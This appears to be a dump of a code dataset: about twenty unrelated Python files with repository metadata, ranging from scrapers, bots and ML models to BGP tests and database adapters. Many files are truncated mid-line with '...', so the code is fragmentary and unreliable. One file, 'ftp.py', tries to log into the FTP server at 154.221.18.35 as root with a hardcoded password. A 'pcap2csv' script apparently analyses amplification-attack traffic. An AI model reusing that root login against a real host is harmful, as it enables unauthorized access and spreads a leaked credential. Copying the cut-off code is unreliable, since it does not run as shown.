from datetime import datetime from os.path import dirname, join import re import pytest from freezegun import freeze_time from city_scrapers_core.constants import NOT_CLASSIFIED from city_scrapers_core.utils import file_response from city_scrapers.spiders.il_medicaid import IlMedicaidSpider test_response = file_resp...
0
0
0
0
0
52
0
22
112
79b80d0c3b746a092c83a791ebac8e67d24c451d
16,170
py
Python
v0/aia_eis_v0/circuits/vogit_1.py
DreamBoatOve/aia_eis
458b4d29846669b10db4da1b3e86c0b394614ceb
[ "MIT" ]
1
2022-03-02T12:57:19.000Z
2022-03-02T12:57:19.000Z
v0/aia_eis_v0/circuits/vogit_1.py
DreamBoatOve/aia_eis
458b4d29846669b10db4da1b3e86c0b394614ceb
[ "MIT" ]
null
null
null
v0/aia_eis_v0/circuits/vogit_1.py
DreamBoatOve/aia_eis
458b4d29846669b10db4da1b3e86c0b394614ceb
[ "MIT" ]
null
null
null
import sys sys.path.append('../') # ---------------------------------- Test Vogit_3 on Lin-KK-Ex1_LIB_time_invariant ---------------------------------- # 1- load data # fit_type = 'real' # fit_type = 'imag' # fit_type = 'complex' # lib_res_fp = '../plugins_test/jupyter_code/rbp_files/2/example_data_sets/LIB_res' # if...
38.317536
147
0.532158
import sys sys.path.append('../') import numpy as np import math import copy import os from circuits.elements import ele_C, ele_L from IS.IS import IS_0 from IS.IS_criteria import cal_ChiSquare_0 from utils.file_utils.pickle_utils import pickle_file from utils.visualize_utils.IS_plots.ny import nyquist_multiPlots_1, n...
1,415
0
0
12,487
0
83
0
101
245
8ce4728ba2ad7bcb6e60aff77117e3d48d808d4a
406
py
Python
Python3/FileIO/write.py
norbertosanchezdichi/TIL
2e9719ddd288022f53b094a42679e849bdbcc625
[ "MIT" ]
null
null
null
Python3/FileIO/write.py
norbertosanchezdichi/TIL
2e9719ddd288022f53b094a42679e849bdbcc625
[ "MIT" ]
null
null
null
Python3/FileIO/write.py
norbertosanchezdichi/TIL
2e9719ddd288022f53b094a42679e849bdbcc625
[ "MIT" ]
null
null
null
with open("haiku.txt", "w") as file: file.write("Writing files is great\n") file.write("Here's another line of text\n") file.write("Closing now, goodbye!") with open("haiku.txt", "w") as file: file.write("Here's one more haiku\n") file.write("What about the older one?\n") file.write("Let's ...
33.833333
47
0.62069
with open("haiku.txt", "w") as file: file.write("Writing files is great\n") file.write("Here's another line of text\n") file.write("Closing now, goodbye!") with open("haiku.txt", "w") as file: file.write("Here's one more haiku\n") file.write("What about the older one?\n") file.write("Let's ...
0
0
0
0
0
0
0
0
0
4a3e2b0ffbf9e7280df0c8a13b538c297ebb0165
7,562
py
Python
packnet_sfm/utils/image.py
bingai/packnet-sfm-nrs
2e9fb8850b4e1ae2227e30bff580997fb5377802
[ "MIT" ]
null
null
null
packnet_sfm/utils/image.py
bingai/packnet-sfm-nrs
2e9fb8850b4e1ae2227e30bff580997fb5377802
[ "MIT" ]
null
null
null
packnet_sfm/utils/image.py
bingai/packnet-sfm-nrs
2e9fb8850b4e1ae2227e30bff580997fb5377802
[ "MIT" ]
null
null
null
# Copyright 2020 Toyota Research Institute. All rights reserved. import cv2 import torch import torch.nn.functional as funct from PIL import Image from packnet_sfm.utils.misc import same_shape def load_image(path): """ Read an image using PIL Parameters ---------- path : str Path to th...
26.440559
120
0.549855
# Copyright 2020 Toyota Research Institute. All rights reserved. import cv2 import torch import torch.nn.functional as funct from functools import lru_cache from PIL import Image from packnet_sfm.utils.misc import same_shape def load_image(path): """ Read an image using PIL Parameters ---------- ...
0
1,653
0
0
0
0
0
10
68
d31474846e26a56b1a8fe87101c4edc3c8f19c43
4,475
py
Python
aki.py
wolfniey/school-diary-telegram-bot
7a50a4649c2cd9f8052f47dbf9ef697bcfa151bd
[ "MIT" ]
2
2020-04-27T10:45:31.000Z
2020-07-28T08:55:55.000Z
aki.py
wolfniey/school-diary-telegram-bot
7a50a4649c2cd9f8052f47dbf9ef697bcfa151bd
[ "MIT" ]
null
null
null
aki.py
wolfniey/school-diary-telegram-bot
7a50a4649c2cd9f8052f47dbf9ef697bcfa151bd
[ "MIT" ]
null
null
null
import logging logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO) logger = logging.getLogger(__name__) COMMON, SCHOOL, LOGIN = range(3) KREPLY = ['Marks', 'Homework', 'Timetable', 'Choose School'] if __name__ == '__main__': main...
29.833333
144
0.693631
import logging import accounts import diary from datetime import datetime, timedelta from telegram import (ReplyKeyboardMarkup, ReplyKeyboardRemove) from telegram.ext import (Updater, CommandHandler, MessageHandler, Filters, ConversationHandler) logging.basicConfig(format='%(asctime)s - %(n...
30
0
0
0
0
3,631
0
147
365
c01b111751bee63eeaa564788b3609ddc25c43bc
819
py
Python
1_small-problems/1.1_the fibonacci sequence/fib4.py
bimri/Classic-Computer-Science-Problems-in-Python
d91a1120ef93a5f1b213fcbb7f8e1669c298a826
[ "MIT" ]
null
null
null
1_small-problems/1.1_the fibonacci sequence/fib4.py
bimri/Classic-Computer-Science-Problems-in-Python
d91a1120ef93a5f1b213fcbb7f8e1669c298a826
[ "MIT" ]
null
null
null
1_small-problems/1.1_the fibonacci sequence/fib4.py
bimri/Classic-Computer-Science-Problems-in-Python
d91a1120ef93a5f1b213fcbb7f8e1669c298a826
[ "MIT" ]
null
null
null
"Automatic memoization" ''' fib3() can be further simplified. Python has a built-in decorator for memoizing any function automagically. In fib4(), the decorator @functools.lru_cache() is used with the same exact code as we used in fib2(). Each time fib4() is executed with a novel argument, the decorator causes the ret...
32.76
87
0.672772
"Automatic memoization" ''' fib3() can be further simplified. Python has a built-in decorator for memoizing any function automagically. In fib4(), the decorator @functools.lru_cache() is used with the same exact code as we used in fib2(). Each time fib4() is executed with a novel argument, the decorator causes the ret...
0
197
0
0
0
0
0
10
46
869e1a8a1acc2e79662297051e47a12a2bfb89e6
1,133
py
Python
patients/urls.py
Curewell-Homeo-Clinic/admin-system
c8ce56a2bdbccfe1e6bec09068932f1943498b9f
[ "MIT" ]
1
2021-11-29T15:24:41.000Z
2021-11-29T15:24:41.000Z
patients/urls.py
Curewell-Homeo-Clinic/admin-system
c8ce56a2bdbccfe1e6bec09068932f1943498b9f
[ "MIT" ]
46
2021-11-29T16:05:55.000Z
2022-03-01T13:04:45.000Z
patients/urls.py
Curewell-Homeo-Clinic/admin-system
c8ce56a2bdbccfe1e6bec09068932f1943498b9f
[ "MIT" ]
null
null
null
from django.urls import path, include from patients.views.dashboard import dashboard from patients.views.patient import patient_detail, patient_list from patients.views.doctor import doctor_detail, doctor_list from patients.views.appointment import appointment_detail, appointment_list from patients.views.invoice import...
45.32
78
0.729038
from django.urls import path, include from patients.views.dashboard import dashboard from patients.views.patient import patient_detail, patient_list from patients.views.doctor import doctor_detail, doctor_list from patients.views.appointment import appointment_detail, appointment_list from patients.views.invoice import...
0
0
0
0
0
0
0
0
0
fef9c9b2ba53d6862218a750158a4731be0bac4e
9,763
py
Python
main.py
arame/SLAM
7841dce5e6da641e676a1e4f0f2667300e2f8a15
[ "OML" ]
null
null
null
main.py
arame/SLAM
7841dce5e6da641e676a1e4f0f2667300e2f8a15
[ "OML" ]
null
null
null
main.py
arame/SLAM
7841dce5e6da641e676a1e4f0f2667300e2f8a15
[ "OML" ]
null
null
null
## slam takes in 6 arguments and returns mu, ## mu is the entire path traversed by a robot (all x,y poses) *and* all landmarks locations def initialize_constraints(N, num_landmarks, world_size): ''' This function takes in a number of time steps N, number of landmarks, and a world_size, and returns initia...
37.263359
121
0.626754
import numpy as np import matplotlib.pyplot as plt from numpy.linalg import inv from pandas import DataFrame import seaborn as sns from robot_class import Robot from helpers import display_world, make_data def main(): # world parameters num_landmarks = 5 # number of landmarks N ...
0
0
0
0
0
8,461
0
52
337
bb0297f41becea0709adc150426ee1cd3b03c974
858
py
Python
projects/vault-of-scripts/YT-Playlist-Downloader/ytpldl.py
anouaraissani/H4ckT0b3rF3st-2k20
1f77652add0effdc7462c829dfb88d5f6818d07e
[ "MIT" ]
1
2020-10-12T16:23:55.000Z
2020-10-12T16:23:55.000Z
projects/vault-of-scripts/YT-Playlist-Downloader/ytpldl.py
anouaraissani/H4ckT0b3rF3st-2k20
1f77652add0effdc7462c829dfb88d5f6818d07e
[ "MIT" ]
1
2020-10-11T17:06:48.000Z
2020-10-11T17:06:48.000Z
projects/vault-of-scripts/YT-Playlist-Downloader/ytpldl.py
anouaraissani/H4ckT0b3rF3st-2k20
1f77652add0effdc7462c829dfb88d5f6818d07e
[ "MIT" ]
null
null
null
from pytube import Playlist if __name__ == '__main__': playlist = Playlist("https://www.youtube.com/playlist?list=PL8A83A276F0D85E70") main(1, playlist)
27.677419
83
0.622378
from pytube import YouTube # pip install pytube or pytube3 from pytube import Playlist import os, re def Download(yt): print("Downloading....") # Filter Streams (Optional) vids = yt.streams.filter() # Get only .mp4 format vids[0].download(r"Tracks/") def main(c, playlist): # Filter Playlist Ur...
0
0
0
0
0
577
0
-3
122
43a7e7000b9dabe6e0dbe1d58235a074bdf1c40f
5,593
py
Python
pybgp/test/test_pathattr.py
toddjcrane/pybgp
5fa7699675c120b98c5b6fc637bfc29ba5a665f4
[ "MIT" ]
5
2015-06-14T02:51:23.000Z
2019-01-05T15:54:22.000Z
pybgp/test/test_pathattr.py
toddjcrane/pybgp
5fa7699675c120b98c5b6fc637bfc29ba5a665f4
[ "MIT" ]
null
null
null
pybgp/test/test_pathattr.py
toddjcrane/pybgp
5fa7699675c120b98c5b6fc637bfc29ba5a665f4
[ "MIT" ]
4
2016-11-26T01:43:10.000Z
2021-08-13T16:08:27.000Z
#!/usr/bin/python
27.551724
190
0.550331
#!/usr/bin/python import socket import unittest from pybgp import pathattr, nlri class TestOrigin(unittest.TestCase): def test_encode(self): orig = pathattr.Origin('igp') b = orig.encode() self.assertEqual(b, '\x40\x01\x01\x00') def test_decode(self): b = '\x40\x01\x01\x02'...
0
0
0
5,371
0
0
0
-3
206
3a6ac3e083b43f0be52796162d41f654222059ea
2,487
py
Python
checkmate/management/commands/init.py
marcinguy/checkmate-ce
fc33c7c27bc640ab4db5dbda274a0edd3b3db218
[ "MIT" ]
80
2015-01-06T17:42:39.000Z
2022-02-08T19:08:21.000Z
checkmate/management/commands/init.py
ravikumarpurbey/checkmate
1a4d010c8ef25c678d8d14dc8e37a9bed1883ca2
[ "MIT" ]
6
2015-08-04T12:16:48.000Z
2021-02-27T12:09:16.000Z
checkmate/management/commands/init.py
ravikumarpurbey/checkmate
1a4d010c8ef25c678d8d14dc8e37a9bed1883ca2
[ "MIT" ]
33
2015-01-02T14:18:11.000Z
2021-03-18T05:06:54.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals import os import logging logger = logging.getLogger(__name__) """ Creates a new project. The command proceeds as follows: -We create a .checkmate directory in the current directory. -If a project already exists in the same directory, we do nothing. """...
27.633333
101
0.519099
# -*- coding: utf-8 -*- from __future__ import unicode_literals from .base import BaseCommand from checkmate.management.helpers import save_project_config import sys import os import os.path import json import time import uuid import logging logger = logging.getLogger(__name__) """ Creates a new project. The comman...
0
0
0
1,989
0
0
0
-1
178
f77ef19bc22d083ea7feed89b8aa51d4550f8eda
4,646
py
Python
models/model_unet.py
iamsofancyyoualreadyknow/IHC-based-labels-generation-and-semantic-segmentation-for-lung-cancer
57904544c6d6b43dcd5937afeb474c0a47456d98
[ "MIT" ]
null
null
null
models/model_unet.py
iamsofancyyoualreadyknow/IHC-based-labels-generation-and-semantic-segmentation-for-lung-cancer
57904544c6d6b43dcd5937afeb474c0a47456d98
[ "MIT" ]
null
null
null
models/model_unet.py
iamsofancyyoualreadyknow/IHC-based-labels-generation-and-semantic-segmentation-for-lung-cancer
57904544c6d6b43dcd5937afeb474c0a47456d98
[ "MIT" ]
null
null
null
import tensorflow as tf arg_scope = tf.contrib.framework.arg_scope
41.482143
137
0.655833
import tensorflow as tf from tensorflow.python.ops import control_flow_ops from six.moves import cPickle import unet import simplified_unet arg_scope = tf.contrib.framework.arg_scope class UnetModel(object): def __init__(self, number_class=3, is_training=True, is_simplified = False, dropout = True): ""...
0
0
0
4,439
0
0
0
28
111
8bb61dd567b5ca0da6e74a0f8a595d90330016ec
3,981
py
Python
pysnmp-with-texts/GNOME-SMI.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
8
2019-05-09T17:04:00.000Z
2021-06-09T06:50:51.000Z
pysnmp-with-texts/GNOME-SMI.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
4
2019-05-31T16:42:59.000Z
2020-01-31T21:57:17.000Z
pysnmp-with-texts/GNOME-SMI.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module GNOME-SMI (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/GNOME-SMI # Produced by pysmi-0.3.4 at Wed May 1 13:19:45 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23...
102.076923
505
0.786486
# # PySNMP MIB module GNOME-SMI (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/GNOME-SMI # Produced by pysmi-0.3.4 at Wed May 1 13:19:45 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23...
0
0
0
0
0
0
0
0
0
eb7fcc229e2738f4ef94d625899ae037199f88ae
375
py
Python
ftp.py
ZDYC/hacker
3dd9556bda629a1f2b96905ed3e62ed3f02ae3f6
[ "Apache-2.0" ]
null
null
null
ftp.py
ZDYC/hacker
3dd9556bda629a1f2b96905ed3e62ed3f02ae3f6
[ "Apache-2.0" ]
null
null
null
ftp.py
ZDYC/hacker
3dd9556bda629a1f2b96905ed3e62ed3f02ae3f6
[ "Apache-2.0" ]
null
null
null
if __name__ == '__main__': anonlogin('154.221.18.35')
22.058824
57
0.573333
import ftplib def anonlogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('root', 'hx1NM396') print('\n[*]' + str(hostname) + 'ftp successed!') ftp.quit() return True except Exception as e: print('failded to ftp' + str(hostname)) return False if...
0
0
0
0
0
278
0
-8
45
458bb15a61c36499cdc3ad3c42cfe8316646e17b
2,497
py
Python
scripts/pcap2csv.py
rqtx/Nymphenburg
08ed27b25b336d6201afaa27698ac405a53e537c
[ "MIT" ]
null
null
null
scripts/pcap2csv.py
rqtx/Nymphenburg
08ed27b25b336d6201afaa27698ac405a53e537c
[ "MIT" ]
null
null
null
scripts/pcap2csv.py
rqtx/Nymphenburg
08ed27b25b336d6201afaa27698ac405a53e537c
[ "MIT" ]
null
null
null
#!/bin/python convert('amplifier') convert('attacker') convert('victim') convert('amplifier_input') convert('amplifier_output')
28.375
123
0.470164
#!/bin/python import getopt import sys class Pcap2Csv(): __SHORTARGS = 'p:ho:t:' __LONGARGS = ['pcap=', 'help', 'output=', 'time='] __USAGE = ['Pcap file', 'Help', 'Output file', 'Start attack time'] start_time = 0 end_time = 0 def __init__(self): self.__cliParser() self.__c...
0
0
0
1,686
0
609
0
-19
91
c8a775210c813d4a841be4a5bc26ac6f6f6141bb
6,013
py
Python
src/relstorage/adapters/postgresql/connmanager.py
enfold/relstorage
9fcd526b537cb6537cc2ae33154b63096550f210
[ "ZPL-2.1" ]
40
2015-10-08T05:35:13.000Z
2022-03-28T23:50:06.000Z
src/relstorage/adapters/postgresql/connmanager.py
enfold/relstorage
9fcd526b537cb6537cc2ae33154b63096550f210
[ "ZPL-2.1" ]
364
2015-03-23T15:25:42.000Z
2022-03-17T08:41:34.000Z
src/relstorage/adapters/postgresql/connmanager.py
enfold/relstorage
9fcd526b537cb6537cc2ae33154b63096550f210
[ "ZPL-2.1" ]
33
2015-06-08T23:03:22.000Z
2022-03-21T08:25:53.000Z
############################################################################## # # Copyright (c) 2008 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOF...
42.64539
84
0.622984
############################################################################## # # Copyright (c) 2008 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOF...
0
1,823
0
3,226
0
0
0
65
90
442d3a64baf645e86d88223fdea6691517abbbdd
706
py
Python
python/03_tipos_de_dados/tipos.py
ac-gomes/python-iniciante
002fc91facb5d89c23540d8b05073e8a3c8a4c59
[ "MIT" ]
null
null
null
python/03_tipos_de_dados/tipos.py
ac-gomes/python-iniciante
002fc91facb5d89c23540d8b05073e8a3c8a4c59
[ "MIT" ]
null
null
null
python/03_tipos_de_dados/tipos.py
ac-gomes/python-iniciante
002fc91facb5d89c23540d8b05073e8a3c8a4c59
[ "MIT" ]
null
null
null
# funo usada abaixo 'print()' usada para exibir ou imprimir mensagens no console. # Iteiros | Int print(10) # Ser exibido no console o numero 10 # Ponto Flutuante | Float print(9.5) # Cadeia de caracteres | Strings cadeia_de_caracter = "Ol Mundo!" print(cadeia_de_caracter) # Boleano | Boolean valor_verdadeiro = Tr...
23.533333
85
0.763456
# função usada abaixo 'print()' é usada para exibir ou imprimir mensagens no console. # Iteiros | Int print(10) # Será exibido no console o numero 10 # Ponto Flutuante | Float print(9.5) # Cadeia de caracteres | Strings cadeia_de_caracter = "Olá Mundo!" print(cadeia_de_caracter) # Boleano | Boolean valor_verdadeiro...
16
0
0
0
0
0
0
0
0
c98c3446c8a67fb418f6a8db9d31a0315ee0fc3c
6,470
py
Python
tuprolog/jvmutils.py
DavideEva/2ppy
55609415102f8116165a42c8e33e029c4906e160
[ "Apache-2.0" ]
1
2021-08-07T06:29:28.000Z
2021-08-07T06:29:28.000Z
tuprolog/jvmutils.py
DavideEva/2ppy
55609415102f8116165a42c8e33e029c4906e160
[ "Apache-2.0" ]
14
2021-09-16T13:25:12.000Z
2022-01-03T10:12:22.000Z
tuprolog/jvmutils.py
DavideEva/2ppy
55609415102f8116165a42c8e33e029c4906e160
[ "Apache-2.0" ]
1
2021-12-22T00:25:32.000Z
2021-12-22T00:25:32.000Z
from tuprolog import logger # noinspection PyUnresolvedReferences import jpype # noinspection PyUnresolvedReferences # noinspection PyProtectedMember from _jpype import _JObject as JObjectClass # noinspection PyUnresolvedReferences import java.util as _jutils # noinspection PyUnresolvedReferences import java.lang as _j...
24.323308
95
0.696909
from tuprolog import logger # noinspection PyUnresolvedReferences import jpype # noinspection PyUnresolvedReferences import jpype.imports # noinspection PyProtectedMember from _jpype import _JObject as JObjectClass # noinspection PyUnresolvedReferences import java.util as _jutils # noinspection PyUnresolvedReferences i...
0
2,940
0
298
0
1,318
0
62
596
b093d851bb61a63849ee99c0bd9b7eb617be0eb7
111
py
Python
investpy/resources/__init__.py
mdarblade/investpy
7ace4ac7693f505c199074de3333f56e6b89cfef
[ "MIT" ]
null
null
null
investpy/resources/__init__.py
mdarblade/investpy
7ace4ac7693f505c199074de3333f56e6b89cfef
[ "MIT" ]
null
null
null
investpy/resources/__init__.py
mdarblade/investpy
7ace4ac7693f505c199074de3333f56e6b89cfef
[ "MIT" ]
null
null
null
#!/usr/bin/env python # Copyright 2018-2019 Alvaro Bartolome @ alvarob96 in GitHub # See LICENSE for details.
22.2
60
0.756757
#!/usr/bin/env python # Copyright 2018-2019 Alvaro Bartolome @ alvarob96 in GitHub # See LICENSE for details.
0
0
0
0
0
0
0
0
0
b832291fdac4819b20b9c725cc9297678bc16751
725
py
Python
scripts/countries.py
rizel/timewarrior-southamerica-holidays
ba412e96b6ab72efef51bf786148476a31003e8c
[ "MIT" ]
null
null
null
scripts/countries.py
rizel/timewarrior-southamerica-holidays
ba412e96b6ab72efef51bf786148476a31003e8c
[ "MIT" ]
1
2021-02-28T19:30:44.000Z
2021-03-09T04:09:54.000Z
scripts/countries.py
rizel/timewarrior-southamerica-holidays
ba412e96b6ab72efef51bf786148476a31003e8c
[ "MIT" ]
null
null
null
#!/usr/bin/python3.6.0 # -*- coding: utf-8 -*- COUNTRIES = { "argentina" : ".com.ar", "bolivia" : ".com.bo", "brasil" : "http://www.public-holidays.us/BR_ES_{0}_Feriados%20nacionais", "chile" : ".cl", "colombia" : ".co", "ecuador" : ".la/ecu...
34.52381
88
0.475862
#!/usr/bin/python3.6.0 # -*- coding: utf-8 -*- COUNTRIES = { "argentina" : ".com.ar", "bolivia" : ".com.bo", "brasil" : "http://www.public-holidays.us/BR_ES_{0}_Feriados%20nacionais", "chile" : ".cl", "colombia" : ".co", "ecuador" : ".la/ecu...
0
0
0
0
0
0
0
0
0